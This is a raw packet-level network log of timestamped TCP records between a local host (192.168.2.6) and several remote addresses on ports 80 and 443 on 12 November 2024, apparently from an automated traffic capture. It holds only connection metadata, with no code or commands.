Nov 12, 2024 17:07:53.349216938 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349229097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349263906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349294901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349315882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349368095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349368095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349430084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349448919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349499941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349514961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349526882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349538088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349634886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349657059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349669933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349687099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349745989 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349745989 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349791050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349807978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349862099 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349879980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349894047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349983931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.350047112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350059032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350070000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350080967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350091934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350104094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350106955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.350106955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.350126982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.350155115 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.350317955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350331068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350344896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350378990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.350394964 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.350429058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350439072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.350601912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.364413977 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.376538038 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.376595020 CET	49934	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.377329111 CET	49934	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.377345085 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.379623890 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.379658937 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.379803896 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.379968882 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.379981995 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.384337902 CET	49933	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:53.384514093 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.384720087 CET	49935	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.384731054 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.385768890 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.385833979 CET	49935	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.386859894 CET	49935	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.386921883 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.387039900 CET	49935	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.387049913 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.431263924 CET	49935	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.468321085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468349934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468363047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468391895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.468391895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.468458891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.468482018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468492985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468499899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468511105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468580008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.468580008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.468652010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468724012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468799114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468811989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468858957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.468940973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468955040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468966007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.468980074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469008923 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469008923 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469057083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469130993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469177008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469209909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469264030 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469275951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469286919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469297886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469340086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469340086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469465017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469476938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469489098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469501972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469516039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469522953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469522953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469564915 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469752073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469799995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469803095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469813108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469913960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.469939947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469954967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469966888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.469978094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470021963 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470021963 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470196962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470210075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470221996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470233917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470246077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470263958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470263958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470298052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470525026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470536947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470547915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470558882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470571041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470577955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470617056 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470880032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470892906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470904112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470916033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470928907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.470957041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.470983982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.471143961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.471168041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.471179008 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.471193075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.471208096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.471227884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.482696056 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.483215094 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.483249903 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.483994961 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.484008074 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.496346951 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.499870062 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.501560926 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.501672029 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.502772093 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.502805948 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.503303051 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.503321886 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.503514051 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.503523111 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.503618956 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.503627062 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.503722906 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.503750086 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.503793955 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.503834963 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.503840923 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.504025936 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.504034042 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.504291058 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.504391909 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.504482031 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.504873991 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.504920006 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.504945993 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.504973888 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.505079031 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.505121946 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.505136967 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.505192995 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.505631924 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.505696058 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.505743980 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.505836964 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.505845070 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.505877018 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.505949020 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.506167889 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.506303072 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.506306887 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.506452084 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.506510019 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.506813049 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.506819963 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.506855011 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.506980896 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.506987095 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.507009983 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.507019043 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.507051945 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.507060051 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.507158041 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.507164001 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.518567085 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.518651009 CET	49933	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:53.519783974 CET	49933	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:53.519797087 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.551326990 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.556200981 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.556230068 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.556230068 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.556272984 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.556272984 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.584805965 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.588445902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588498116 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.588532925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588567019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588571072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.588618040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588629007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588639975 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.588681936 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.588721037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588818073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588869095 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588881016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588891983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.588897943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.588934898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.588934898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589011908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589071035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589111090 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589111090 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589178085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589188099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589199066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589210987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589247942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589276075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589323997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589390993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589401960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589413881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589437962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589456081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589586020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589597940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589608908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589621067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589632988 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589684963 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589827061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589838028 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589857101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589865923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.589879990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589920044 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.589962959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590006113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590018988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590029955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590075016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590082884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590193033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590204000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590243101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590281963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590358019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590368986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590379953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590396881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590405941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590408087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590425014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590476990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590708017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590719938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590729952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590751886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590820074 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.590847015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590858936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590867996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.590917110 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.591037035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591053009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591063976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591074944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591085911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591097116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591109991 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.591109991 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.591140032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.591394901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591406107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591415882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591427088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591444969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591455936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591456890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.591466904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.591485023 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.591516972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.610862017 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.610909939 CET	49935	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.611048937 CET	49935	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.611059904 CET	443	49935	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.615263939 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.615297079 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.615530014 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.616050005 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:53.616063118 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:53.625376940 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.625437021 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.625556946 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.625689030 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.625700951 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.625715017 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.625719070 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.628422022 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.628449917 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.628611088 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.628741026 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.628755093 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.632251978 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632333994 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632396936 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632420063 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632426977 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632469893 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632488012 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.632534027 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.632664919 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632678032 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632680893 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632739067 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632755995 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.632780075 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632805109 CET	443	49938	23.47.50.173	192.168.2.6
